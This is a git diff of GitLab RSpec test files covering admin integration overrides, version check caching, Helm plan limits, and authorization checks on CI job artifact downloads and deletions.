+
+ where(:type, :configured) do
+ :dast | false
+ :dast_profiles | true
+ :sast | false
+ :sast_iac | false
+ :container_scanning | false
+ :cluster_image_scanning | false
+ :dependency_scanning | false
+ :license_scanning | false
+ :secret_detection | false
+ :coverage_fuzzing | false
+ :api_fuzzing | false
+ :corpus_management | true
+ end
+
+ with_them do
+ it 'reports all security jobs as unconfigured with exception of "fake" jobs' do
+ feature = features.find { |scan| scan['type'] == type.to_s }
+
+ expect(feature['configured']).to eq(configured)
+ end
+ end
+ end
+ end
+
+ def licensed_scan_types
+ ::Security::SecurityJobsFinder.allowed_job_types + ::Security::LicenseComplianceJobsFinder.allowed_job_types - [:cluster_image_scanning]
+ end
+ end
+end
diff --git a/spec/requests/admin/integrations_controller_spec.rb b/spec/requests/admin/integrations_controller_spec.rb
new file mode 100644
index 00000000000..cfb40063095
--- /dev/null
+++ b/spec/requests/admin/integrations_controller_spec.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Admin::IntegrationsController, :enable_admin_mode do
+ let_it_be(:admin) { create(:admin) }
+
+ before do
+ sign_in(admin)
+ end
+
+ describe 'GET #overrides' do
+ let_it_be(:integration) { create(:jira_integration, :instance) }
+ let_it_be(:overridden_integration) { create(:jira_integration) }
+ let_it_be(:overridden_other_integration) { create(:confluence_integration) }
+
+ let(:overrides_path) { overrides_admin_application_settings_integration_path(integration, format: format) }
+
+ context 'format html' do
+ let(:format) { :html }
+
+ it 'renders' do
+ get overrides_path
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to render_template('shared/integrations/overrides')
+ end
+ end
+
+ context 'format json' do
+ let(:format) { :json }
+ let(:project) { overridden_integration.project }
+
+ it 'returns the project overrides data' do
+ get overrides_path
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to include_pagination_headers
+ expect(json_response).to contain_exactly(
+ {
+ 'avatar_url' => project.avatar_url,
+ 'full_name' => project.full_name,
+ 'name' => project.name,
+ 'full_path' => project_path(project)
+ }
+ )
+ end
+ end
+ end
+end
diff --git a/spec/requests/admin/version_check_controller_spec.rb b/spec/requests/admin/version_check_controller_spec.rb
new file mode 100644
index 00000000000..7e2f33d5bc5
--- /dev/null
+++ b/spec/requests/admin/version_check_controller_spec.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Admin::VersionCheckController, :enable_admin_mode do
+ let(:admin) { create(:admin) }
+
+ before do
+ sign_in(admin)
+ end
+
+ describe 'GET #version_check' do
+ context 'when VersionCheck.response is nil' do
+ before do
+ allow_next_instance_of(VersionCheck) do |instance|
+ allow(instance).to receive(:response).and_return(nil)
+ end
+ get admin_version_check_path
+ end
+
+ it 'returns nil' do
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to be_nil
+ end
+
+ it 'sets no-cache headers' do
+ expect(response.headers['Cache-Control']).to eq('max-age=0, private, must-revalidate')
+ end
+ end
+
+ context 'when VersionCheck.response is valid' do
+ before do
+ allow_next_instance_of(VersionCheck) do |instance|
+ allow(instance).to receive(:response).and_return({ "severity" => "success" })
+ end
+
+ get admin_version_check_path
+ end
+
+ it 'returns the valid data' do
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to eq({ "severity" => "success" })
+ end
+
+ it 'sets proper cache headers' do
+ expect(response.headers['Cache-Control']).to eq('max-age=60, private')
+ end
+ end
+ end
+end
diff --git a/spec/requests/api/admin/plan_limits_spec.rb b/spec/requests/api/admin/plan_limits_spec.rb
index f497227789a..03642ad617e 100644
--- a/spec/requests/api/admin/plan_limits_spec.rb
+++ b/spec/requests/api/admin/plan_limits_spec.rb
@@ -25,6 +25,7 @@ RSpec.describe API::Admin::PlanLimits, 'PlanLimits' do
expect(json_response).to be_an Hash
expect(json_response['conan_max_file_size']).to eq(Plan.default.actual_limits.conan_max_file_size)
expect(json_response['generic_packages_max_file_size']).to eq(Plan.default.actual_limits.generic_packages_max_file_size)
+ expect(json_response['helm_max_file_size']).to eq(Plan.default.actual_limits.helm_max_file_size)
expect(json_response['maven_max_file_size']).to eq(Plan.default.actual_limits.maven_max_file_size)
expect(json_response['npm_max_file_size']).to eq(Plan.default.actual_limits.npm_max_file_size)
expect(json_response['nuget_max_file_size']).to eq(Plan.default.actual_limits.nuget_max_file_size)
@@ -45,6 +46,7 @@ RSpec.describe API::Admin::PlanLimits, 'PlanLimits' do
expect(json_response).to be_an Hash
expect(json_response['conan_max_file_size']).to eq(Plan.default.actual_limits.conan_max_file_size)
expect(json_response['generic_packages_max_file_size']).to eq(Plan.default.actual_limits.generic_packages_max_file_size)
+ expect(json_response['helm_max_file_size']).to eq(Plan.default.actual_limits.helm_max_file_size)
expect(json_response['maven_max_file_size']).to eq(Plan.default.actual_limits.maven_max_file_size)
expect(json_response['npm_max_file_size']).to eq(Plan.default.actual_limits.npm_max_file_size)
expect(json_response['nuget_max_file_size']).to eq(Plan.default.actual_limits.nuget_max_file_size)
@@ -84,6 +86,7 @@ RSpec.describe API::Admin::PlanLimits, 'PlanLimits' do
'plan_name': 'default',
'conan_max_file_size': 10,
'generic_packages_max_file_size': 20,
+ 'helm_max_file_size': 25,
'maven_max_file_size': 30,
'npm_max_file_size': 40,
'nuget_max_file_size': 50,
@@ -95,6 +98,7 @@ RSpec.describe API::Admin::PlanLimits, 'PlanLimits' do
expect(json_response).to be_an Hash
expect(json_response['conan_max_file_size']).to eq(10)
expect(json_response['generic_packages_max_file_size']).to eq(20)
+ expect(json_response['helm_max_file_size']).to eq(25)
expect(json_response['maven_max_file_size']).to eq(30)
expect(json_response['npm_max_file_size']).to eq(40)
expect(json_response['nuget_max_file_size']).to eq(50)
@@ -129,6 +133,7 @@ RSpec.describe API::Admin::PlanLimits, 'PlanLimits' do
'plan_name': 'default',
'conan_max_file_size': 'a',
'generic_packages_max_file_size': 'b',
+ 'helm_max_file_size': 'h',
'maven_max_file_size': 'c',
'npm_max_file_size': 'd',
'nuget_max_file_size': 'e',
@@ -140,8 +145,8 @@ RSpec.describe API::Admin::PlanLimits, 'PlanLimits' do
expect(json_response['error']).to include(
'conan_max_file_size is invalid',
'generic_packages_max_file_size is invalid',
+ 'helm_max_file_size is invalid',
'maven_max_file_size is invalid',
- 'generic_packages_max_file_size is invalid',
'npm_max_file_size is invalid',
'nuget_max_file_size is invalid',
'pypi_max_file_size is invalid',
diff --git a/spec/requests/api/ci/job_artifacts_spec.rb b/spec/requests/api/ci/job_artifacts_spec.rb
new file mode 100644
index 00000000000..585fab33708
--- /dev/null
+++ b/spec/requests/api/ci/job_artifacts_spec.rb
@@ -0,0 +1,661 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::Ci::JobArtifacts do
+ include HttpBasicAuthHelpers
+ include DependencyProxyHelpers
+
+ include HttpIOHelpers
+
+ let_it_be(:project, reload: true) do
+ create(:project, :repository, public_builds: false)
+ end
+
+ let_it_be(:pipeline, reload: true) do
+ create(:ci_pipeline, project: project,
+ sha: project.commit.id,
+ ref: project.default_branch)
+ end
+
+ let(:user) { create(:user) }
+ let(:api_user) { user }
+ let(:reporter) { create(:project_member, :reporter, project: project).user }
+ let(:guest) { create(:project_member, :guest, project: project).user }
+
+ let!(:job) do
+ create(:ci_build, :success, :tags, pipeline: pipeline,
+ artifacts_expire_at: 1.day.since)
+ end
+
+ before do
+ project.add_developer(user)
+ end
+
+ shared_examples 'returns unauthorized' do
+ it 'returns unauthorized' do
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+
+ describe 'DELETE /projects/:id/jobs/:job_id/artifacts' do
+ let!(:job) { create(:ci_build, :artifacts, pipeline: pipeline, user: api_user) }
+
+ before do
+ delete api("/projects/#{project.id}/jobs/#{job.id}/artifacts", api_user)
+ end
+
+ context 'when user is anonymous' do
+ let(:api_user) { nil }
+
+ it 'does not delete artifacts' do
+ expect(job.job_artifacts.size).to eq 2
+ end
+
+ it 'returns status 401 (unauthorized)' do
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+
+ context 'with developer' do
+ it 'does not delete artifacts' do
+ expect(job.job_artifacts.size).to eq 2
+ end
+
+ it 'returns status 403 (forbidden)' do
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+
+ context 'with authorized user' do
+ let(:maintainer) { create(:project_member, :maintainer, project: project).user }
+ let!(:api_user) { maintainer }
+
+ it 'deletes artifacts' do
+ expect(job.job_artifacts.size).to eq 0
+ end
+
+ it 'returns status 204 (no content)' do
+ expect(response).to have_gitlab_http_status(:no_content)
+ end
+ end
+ end
+
+ describe 'GET /projects/:id/jobs/:job_id/artifacts/:artifact_path' do
+ context 'when job has artifacts' do
+ let(:job) { create(:ci_build, :artifacts, pipeline: pipeline) }
+
+ let(:artifact) do
+ 'other_artifacts_0.1.2/another-subdirectory/banana_sample.gif'
+ end
+
+ context 'when user is anonymous' do
+ let(:api_user) { nil }
+
+ context 'when project is public' do
+ it 'allows to access artifacts' do
+ project.update_column(:visibility_level,
+ Gitlab::VisibilityLevel::PUBLIC)
+ project.update_column(:public_builds, true)
+
+ get_artifact_file(artifact)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+
+ context 'when project is public with artifacts that are non public' do
+ let(:job) { create(:ci_build, :artifacts, :non_public_artifacts, pipeline: pipeline) }
+
+ it 'rejects access to artifacts' do
+ project.update_column(:visibility_level,
+ Gitlab::VisibilityLevel::PUBLIC)
+ project.update_column(:public_builds, true)
+
+ get_artifact_file(artifact)
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+
+ context 'with the non_public_artifacts feature flag disabled' do
+ before do
+ stub_feature_flags(non_public_artifacts: false)
+ end
+
+ it 'allows access to artifacts' do
+ project.update_column(:visibility_level,
+ Gitlab::VisibilityLevel::PUBLIC)
+ project.update_column(:public_builds, true)
+
+ get_artifact_file(artifact)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+ end
+
+ context 'when project is public with builds access disabled' do
+ it 'rejects access to artifacts' do
+ project.update_column(:visibility_level,
+ Gitlab::VisibilityLevel::PUBLIC)
+ project.update_column(:public_builds, false)
+
+ get_artifact_file(artifact)
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+
+ context 'when project is private' do
+ it 'rejects access and hides existence of artifacts' do
+ project.update_column(:visibility_level,
+ Gitlab::VisibilityLevel::PRIVATE)
+ project.update_column(:public_builds, true)
+
+ get_artifact_file(artifact)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+ end
+
+ context 'when user is authorized' do
+ it 'returns a specific artifact file for a valid path' do
+ expect(Gitlab::Workhorse)
+ .to receive(:send_artifacts_entry)
+ .and_call_original
+
+ get_artifact_file(artifact)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.headers.to_h)
+ .to include('Content-Type' => 'application/json',
+ 'Gitlab-Workhorse-Send-Data' => /artifacts-entry/)
+ expect(response.parsed_body).to be_empty
+ end
+
+ context 'when artifacts are locked' do
+ it 'allows access to expired artifact' do
+ pipeline.artifacts_locked!
+ job.update!(artifacts_expire_at: Time.now - 7.days)
+
+ get_artifact_file(artifact)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+ end
+ end
+
+ context 'when job does not have artifacts' do
+ it 'does not return job artifact file' do
+ get_artifact_file('some/artifact')
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ def get_artifact_file(artifact_path)
+ get api("/projects/#{project.id}/jobs/#{job.id}/" \
+ "artifacts/#{artifact_path}", api_user)
+ end
+ end
+
+ describe 'GET /projects/:id/jobs/:job_id/artifacts' do
+ shared_examples 'downloads artifact' do
+ let(:download_headers) do
+ { 'Content-Transfer-Encoding' => 'binary',
+ 'Content-Disposition' => %q(attachment; filename="ci_build_artifacts.zip"; filename*=UTF-8''ci_build_artifacts.zip) }
+ end
+
+ it 'returns specific job artifacts' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.headers.to_h).to include(download_headers)
+ expect(response.body).to match_file(job.artifacts_file.file.file)
+ end
+ end
+
+ context 'normal authentication' do
+ context 'job with artifacts' do
+ context 'when artifacts are stored locally' do
+ let(:job) { create(:ci_build, :artifacts, pipeline: pipeline) }
+
+ subject { get api("/projects/#{project.id}/jobs/#{job.id}/artifacts", api_user) }
+
+ context 'authorized user' do
+ it_behaves_like 'downloads artifact'
+ end
+
+ context 'when job token is used' do
+ let(:other_job) { create(:ci_build, :running, user: user) }
+
+ subject { get api("/projects/#{project.id}/jobs/#{job.id}/artifacts", job_token: other_job.token) }
+
+ before do
+ stub_licensed_features(cross_project_pipelines: true)
+ end
+
+ it_behaves_like 'downloads artifact'
+
+ context 'when job token scope is enabled' do
+ before do
+ other_job.project.ci_cd_settings.update!(job_token_scope_enabled: true)
+ end
+
+ it 'does not allow downloading artifacts' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+
+ context 'when project is added to the job token scope' do
+ let!(:link) { create(:ci_job_token_project_scope_link, source_project: other_job.project, target_project: job.project) }
+
+ it_behaves_like 'downloads artifact'
+ end
+ end
+ end
+
+ context 'unauthorized user' do
+ let(:api_user) { nil }
+
+ it 'does not return specific job artifacts' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+ end
+
+ context 'when artifacts are stored remotely' do
+ let(:proxy_download) { false }
+ let(:job) { create(:ci_build, pipeline: pipeline) }
+ let(:artifact) { create(:ci_job_artifact, :archive, :remote_store, job: job) }
+
+ before do
+ stub_artifacts_object_storage(proxy_download: proxy_download)
+
+ artifact
+ job.reload
+
+ get api("/projects/#{project.id}/jobs/#{job.id}/artifacts", api_user)
+ end
+
+ context 'when proxy download is enabled' do
+ let(:proxy_download) { true }
+
+ it 'responds with the workhorse send-url' do
+ expect(response.headers[Gitlab::Workhorse::SEND_DATA_HEADER]).to start_with("send-url:")
+ end
+ end
+
+ context 'when proxy download is disabled' do
+ it 'returns location redirect' do
+ expect(response).to have_gitlab_http_status(:found)
+ end
+ end
+
+ context 'authorized user' do
+ it 'returns the file remote URL' do
+ expect(response).to redirect_to(artifact.file.url)
+ end
+ end
+
+ context 'unauthorized user' do
+ let(:api_user) { nil }
+
+ it 'does not return specific job artifacts' do
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+ end
+
+ context 'when public project guest and artifacts are non public' do
+ let(:api_user) { guest }
+ let(:job) { create(:ci_build, :artifacts, :non_public_artifacts, pipeline: pipeline) }
+
+ before do
+ project.update_column(:visibility_level,
+ Gitlab::VisibilityLevel::PUBLIC)
+ project.update_column(:public_builds, true)
+ get api("/projects/#{project.id}/jobs/#{job.id}/artifacts", api_user)
+ end
+
+ it 'rejects access and hides existence of artifacts' do
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+
+ context 'with the non_public_artifacts feature flag disabled' do
+ before do
+ stub_feature_flags(non_public_artifacts: false)
+ get api("/projects/#{project.id}/jobs/#{job.id}/artifacts", api_user)
+ end
+
+ it 'allows access to artifacts' do
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+ end
+
+ it 'does not return job artifacts if not uploaded' do
+ get api("/projects/#{project.id}/jobs/#{job.id}/artifacts", api_user)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+ end
+ end
+
+ describe 'GET /projects/:id/artifacts/:ref_name/download?job=name' do
+ let(:api_user) { reporter }
+ let(:job) { create(:ci_build, :artifacts, pipeline: pipeline, user: api_user) }
+
+ before do
+ stub_artifacts_object_storage
+ job.success
+ end
+
+ def get_for_ref(ref = pipeline.ref, job_name = job.name)
+ get api("/projects/#{project.id}/jobs/artifacts/#{ref}/download", api_user), params: { job: job_name }
+ end
+
+ context 'when not logged in' do
+ let(:api_user) { nil }
+
+ before do
+ get_for_ref
+ end
+
+ it 'does not find a resource in a private project' do
+ expect(project).to be_private
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ context 'when logging as guest' do
+ let(:api_user) { guest }
+
+ before do
+ get_for_ref
+ end
+
+ it 'gives 403' do
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+
+ context 'non-existing job' do
+ shared_examples 'not found' do
+ it { expect(response).to have_gitlab_http_status(:not_found) }
+ end
+
+ context 'has no such ref' do
+ before do
+ get_for_ref('TAIL')
+ end
+
+ it_behaves_like 'not found'
+ end
+
+ context 'has no such job' do
+ before do
+ get_for_ref(pipeline.ref, 'NOBUILD')
+ end
+
+ it_behaves_like 'not found'
+ end
+ end
+
+ context 'find proper job' do
+ let(:job_with_artifacts) { job }
+
+ shared_examples 'a valid file' do
+ context 'when artifacts are stored locally', :sidekiq_might_not_need_inline do
+ let(:download_headers) do
+ { 'Content-Transfer-Encoding' => 'binary',
+ 'Content-Disposition' =>
+ %Q(attachment; filename="#{job_with_artifacts.artifacts_file.filename}"; filename*=UTF-8''#{job.artifacts_file.filename}) }
+ end
+
+ it { expect(response).to have_gitlab_http_status(:ok) }
+ it { expect(response.headers.to_h).to include(download_headers) }
+ end
+
+ context 'when artifacts are stored remotely' do
+ let(:job) { create(:ci_build, pipeline: pipeline, user: api_user) }
+ let!(:artifact) { create(:ci_job_artifact, :archive, :remote_store, job: job) }
+
+ before do
+ job.reload
+
+ get api("/projects/#{project.id}/jobs/#{job.id}/artifacts", api_user)
+ end
+
+ it 'returns location redirect' do
+ expect(response).to have_gitlab_http_status(:found)
+ end
+ end
+ end
+
+ context 'with regular branch' do
+ before do
+ pipeline.reload
+ pipeline.update!(ref: 'master',
+ sha: project.commit('master').sha)
+
+ get_for_ref('master')
+ end
+
+ it_behaves_like 'a valid file'
+ end
+
+ context 'with branch name containing slash' do
+ before do
+ pipeline.reload
+ pipeline.update!(ref: 'improve/awesome', sha: project.commit('improve/awesome').sha)
+ get_for_ref('improve/awesome')
+ end
+
+ it_behaves_like 'a valid file'
+ end
+
+ context 'with job name in a child pipeline' do
+ let(:child_pipeline) { create(:ci_pipeline, child_of: pipeline) }
+ let!(:child_job) { create(:ci_build, :artifacts, :success, name: 'rspec', pipeline: child_pipeline) }
+ let(:job_with_artifacts) { child_job }
+
+ before do
+ get_for_ref('master', child_job.name)
+ end
+
+ it_behaves_like 'a valid file'
+ end
+ end
+ end
+
+ describe 'GET id/jobs/artifacts/:ref_name/raw/*artifact_path?job=name' do
+ context 'when job has artifacts' do
+ let(:job) { create(:ci_build, :artifacts, pipeline: pipeline, user: api_user) }
+ let(:artifact) { 'other_artifacts_0.1.2/another-subdirectory/banana_sample.gif' }
+ let(:visibility_level) { Gitlab::VisibilityLevel::PUBLIC }
+ let(:public_builds) { true }
+
+ before do
+ stub_artifacts_object_storage
+ job.success
+
+ project.update!(visibility_level: visibility_level,
+ public_builds: public_builds)
+
+ get_artifact_file(artifact)
+ end
+
+ context 'when user is anonymous' do
+ let(:api_user) { nil }
+
+ context 'when project is public' do
+ let(:visibility_level) { Gitlab::VisibilityLevel::PUBLIC }
+ let(:public_builds) { true }
+
+ it 'allows to access artifacts', :sidekiq_might_not_need_inline do
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.headers.to_h)
+ .to include('Content-Type' => 'application/json',
+ 'Gitlab-Workhorse-Send-Data' => /artifacts-entry/)
+ end
+ end
+
+ context 'when project is public with builds access disabled' do
+ let(:visibility_level) { Gitlab::VisibilityLevel::PUBLIC }
+ let(:public_builds) { false }
+
+ it 'rejects access to artifacts' do
+ expect(response).to have_gitlab_http_status(:forbidden)
+ expect(json_response).to have_key('message')
+ expect(response.headers.to_h)
+ .not_to include('Gitlab-Workhorse-Send-Data' => /artifacts-entry/)
+ end
+ end
+
+ context 'when project is public with non public artifacts' do
+ let(:job) { create(:ci_build, :artifacts, :non_public_artifacts, pipeline: pipeline, user: api_user) }
+ let(:visibility_level) { Gitlab::VisibilityLevel::PUBLIC }
+ let(:public_builds) { true }
+
+ it 'rejects access and hides existence of artifacts', :sidekiq_might_not_need_inline do
+ get_artifact_file(artifact)
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ expect(json_response).to have_key('message')
+ expect(response.headers.to_h)
+ .not_to include('Gitlab-Workhorse-Send-Data' => /artifacts-entry/)
+ end
+
+ context 'with the non_public_artifacts feature flag disabled' do
+ before do
+ stub_feature_flags(non_public_artifacts: false)
+ end
+
+ it 'allows access to artifacts', :sidekiq_might_not_need_inline do
+ get_artifact_file(artifact)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+ end
+
+ context 'when project is private' do
+ let(:visibility_level) { Gitlab::VisibilityLevel::PRIVATE }
+ let(:public_builds) { true }
+
+ it 'rejects access and hides existence of artifacts' do
+ expect(response).to have_gitlab_http_status(:not_found)
+ expect(json_response).to have_key('message')
+ expect(response.headers.to_h)
+ .not_to include('Gitlab-Workhorse-Send-Data' => /artifacts-entry/)
+ end
+ end
+ end
+
+ context 'when user is authorized' do
+ let(:visibility_level) { Gitlab::VisibilityLevel::PRIVATE }
+ let(:public_builds) { true }
+
+ it 'returns a specific artifact file for a valid path', :sidekiq_might_not_need_inline do
+ expect(Gitlab::Workhorse)
+ .to receive(:send_artifacts_entry)
+ .and_call_original
+
+ get_artifact_file(artifact)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.headers.to_h)
+ .to include('Content-Type' => 'application/json',
+ 'Gitlab-Workhorse-Send-Data' => /artifacts-entry/)
+ expect(response.parsed_body).to be_empty
+ end
+ end
+
+ context 'with branch name containing slash' do
+ before do
+ pipeline.reload
+ pipeline.update!(ref: 'improve/awesome',
+ sha: project.commit('improve/awesome').sha)
+ end
+
+ it 'returns a specific artifact file for a valid path', :sidekiq_might_not_need_inline do
+ get_artifact_file(artifact, 'improve/awesome')
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.headers.to_h)
+ .to include('Content-Type' => 'application/json',
+ 'Gitlab-Workhorse-Send-Data' => /artifacts-entry/)
+ end
+ end
+
+ context 'non-existing job' do
+ shared_examples 'not found' do
+ it { expect(response).to have_gitlab_http_status(:not_found) }
+ end
+
+ context 'has no such ref' do
+ before do
+ get_artifact_file('some/artifact', 'wrong-ref')
+ end
+
+ it_behaves_like 'not found'
+ end
+
+ context 'has no such job' do
+ before do
+ get_artifact_file('some/artifact', pipeline.ref, 'wrong-job-name')
+ end
+
+ it_behaves_like 'not found'
+ end
+ end
+ end
+
+ context 'when job does not have artifacts' do
+ let(:job) { create(:ci_build, pipeline: pipeline, user: api_user) }
+
+ it 'does not return job artifact file' do
+ get_artifact_file('some/artifact')
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ def get_artifact_file(artifact_path, ref = pipeline.ref, job_name = job.name)
+ get api("/projects/#{project.id}/jobs/artifacts/#{ref}/raw/#{artifact_path}", api_user), params: { job: job_name }
+ end
+ end
+
+ describe 'POST /projects/:id/jobs/:job_id/artifacts/keep' do
+ before do
+ post api("/projects/#{project.id}/jobs/#{job.id}/artifacts/keep", user)
+ end
+
+ context 'artifacts did not expire' do
+ let(:job) do
+ create(:ci_build, :trace_artifact, :artifacts, :success,
+ project: project, pipeline: pipeline, artifacts_expire_at: Time.now + 7.days)
+ end
+
+ it 'keeps artifacts' do
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(job.reload.artifacts_expire_at).to be_nil
+ end
+ end
+
+ context 'no artifacts' do
+ let(:job) { create(:ci_build, project: project, pipeline: pipeline) }
+
+ it 'responds with not found' do
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+ end
+end
diff --git a/spec/requests/api/ci/jobs_spec.rb b/spec/requests/api/ci/jobs_spec.rb
index 410020b68cd..7c85cbc31a5 100644
--- a/spec/requests/api/ci/jobs_spec.rb
+++ b/spec/requests/api/ci/jobs_spec.rb
@@ -428,584 +428,41 @@ RSpec.describe API::Ci::Jobs do
end
end
- context 'when trace artifact record exists with no stored file', :skip_before_request do
- before do
- create(:ci_job_artifact, :unarchived_trace_artifact, job: job, project: job.project)
- end
-
- it 'returns no artifacts nor trace data' do
+ context 'when job succeeded' do
+ it 'does not return failure_reason' do
get api("/projects/#{project.id}/jobs/#{job.id}", api_user)
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response['artifacts']).to be_an Array
- expect(json_response['artifacts'].size).to eq(1)
- expect(json_response['artifacts'][0]['file_type']).to eq('trace')
- expect(json_response['artifacts'][0]['filename']).to eq('job.log')
- end
- end
- end
-
- describe 'DELETE /projects/:id/jobs/:job_id/artifacts' do
- let!(:job) { create(:ci_build, :artifacts, pipeline: pipeline, user: api_user) }
-
- before do
- delete api("/projects/#{project.id}/jobs/#{job.id}/artifacts", api_user)
- end
-
- context 'when user is anonymous' do
- let(:api_user) { nil }
-
- it 'does not delete artifacts' do
- expect(job.job_artifacts.size).to eq 2
- end
-
- it 'returns status 401 (unauthorized)' do
- expect(response).to have_gitlab_http_status(:unauthorized)
- end
- end
-
- context 'with developer' do
- it 'does not delete artifacts' do
- expect(job.job_artifacts.size).to eq 2
- end
-
- it 'returns status 403 (forbidden)' do
- expect(response).to have_gitlab_http_status(:forbidden)
- end
- end
-
- context 'with authorized user' do
- let(:maintainer) { create(:project_member, :maintainer, project: project).user }
- let!(:api_user) { maintainer }
-
- it 'deletes artifacts' do
- expect(job.job_artifacts.size).to eq 0
- end
-
- it 'returns status 204 (no content)' do
- expect(response).to have_gitlab_http_status(:no_content)
+ expect(json_response).not_to include('failure_reason')
end
end
- end
-
- describe 'GET /projects/:id/jobs/:job_id/artifacts/:artifact_path' do
- context 'when job has artifacts' do
- let(:job) { create(:ci_build, :artifacts, pipeline: pipeline) }
-
- let(:artifact) do
- 'other_artifacts_0.1.2/another-subdirectory/banana_sample.gif'
- end
-
- context 'when user is anonymous' do
- let(:api_user) { nil }
-
- context 'when project is public' do
- it 'allows to access artifacts' do
- project.update_column(:visibility_level,
- Gitlab::VisibilityLevel::PUBLIC)
- project.update_column(:public_builds, true)
-
- get_artifact_file(artifact)
-
- expect(response).to have_gitlab_http_status(:ok)
- end
- end
-
- context 'when project is public with artifacts that are non public' do
- let(:job) { create(:ci_build, :artifacts, :non_public_artifacts, pipeline: pipeline) }
-
- it 'rejects access to artifacts' do
- project.update_column(:visibility_level,
- Gitlab::VisibilityLevel::PUBLIC)
- project.update_column(:public_builds, true)
-
- get_artifact_file(artifact)
-
- expect(response).to have_gitlab_http_status(:forbidden)
- end
-
- context 'with the non_public_artifacts feature flag disabled' do
- before do
- stub_feature_flags(non_public_artifacts: false)
- end
-
- it 'allows access to artifacts' do
- project.update_column(:visibility_level,
- Gitlab::VisibilityLevel::PUBLIC)
- project.update_column(:public_builds, true)
-
- get_artifact_file(artifact)
-
- expect(response).to have_gitlab_http_status(:ok)
- end
- end
- end
-
- context 'when project is public with builds access disabled' do
- it 'rejects access to artifacts' do
- project.update_column(:visibility_level,
- Gitlab::VisibilityLevel::PUBLIC)
- project.update_column(:public_builds, false)
-
- get_artifact_file(artifact)
-
- expect(response).to have_gitlab_http_status(:forbidden)
- end
- end
-
- context 'when project is private' do
- it 'rejects access and hides existence of artifacts' do
- project.update_column(:visibility_level,
- Gitlab::VisibilityLevel::PRIVATE)
- project.update_column(:public_builds, true)
-
- get_artifact_file(artifact)
-
- expect(response).to have_gitlab_http_status(:not_found)
- end
- end
- end
- context 'when user is authorized' do
- it 'returns a specific artifact file for a valid path' do
- expect(Gitlab::Workhorse)
- .to receive(:send_artifacts_entry)
- .and_call_original
-
- get_artifact_file(artifact)
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.headers.to_h)
- .to include('Content-Type' => 'application/json',
- 'Gitlab-Workhorse-Send-Data' => /artifacts-entry/)
- expect(response.parsed_body).to be_empty
- end
-
- context 'when artifacts are locked' do
- it 'allows access to expired artifact' do
- pipeline.artifacts_locked!
- job.update!(artifacts_expire_at: Time.now - 7.days)
-
- get_artifact_file(artifact)
-
- expect(response).to have_gitlab_http_status(:ok)
- end
- end
- end
- end
-
- context 'when job does not have artifacts' do
- it 'does not return job artifact file' do
- get_artifact_file('some/artifact')
-
- expect(response).to have_gitlab_http_status(:not_found)
- end
- end
-
- def get_artifact_file(artifact_path)
- get api("/projects/#{project.id}/jobs/#{job.id}/" \
- "artifacts/#{artifact_path}", api_user)
- end
- end
-
- describe 'GET /projects/:id/jobs/:job_id/artifacts' do
- shared_examples 'downloads artifact' do
- let(:download_headers) do
- { 'Content-Transfer-Encoding' => 'binary',
- 'Content-Disposition' => %q(attachment; filename="ci_build_artifacts.zip"; filename*=UTF-8''ci_build_artifacts.zip) }
- end
-
- it 'returns specific job artifacts' do
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.headers.to_h).to include(download_headers)
- expect(response.body).to match_file(job.artifacts_file.file.file)
- end
- end
-
- context 'normal authentication' do
- context 'job with artifacts' do
- context 'when artifacts are stored locally' do
- let(:job) { create(:ci_build, :artifacts, pipeline: pipeline) }
-
- before do
- get api("/projects/#{project.id}/jobs/#{job.id}/artifacts", api_user)
- end
-
- context 'authorized user' do
- it_behaves_like 'downloads artifact'
- end
-
- context 'unauthorized user' do
- let(:api_user) { nil }
-
- it 'does not return specific job artifacts' do
- expect(response).to have_gitlab_http_status(:not_found)
- end
- end
- end
-
- context 'when artifacts are stored remotely' do
- let(:proxy_download) { false }
- let(:job) { create(:ci_build, pipeline: pipeline) }
- let(:artifact) { create(:ci_job_artifact, :archive, :remote_store, job: job) }
-
- before do
- stub_artifacts_object_storage(proxy_download: proxy_download)
-
- artifact
- job.reload
-
- get api("/projects/#{project.id}/jobs/#{job.id}/artifacts", api_user)
- end
-
- context 'when proxy download is enabled' do
- let(:proxy_download) { true }
-
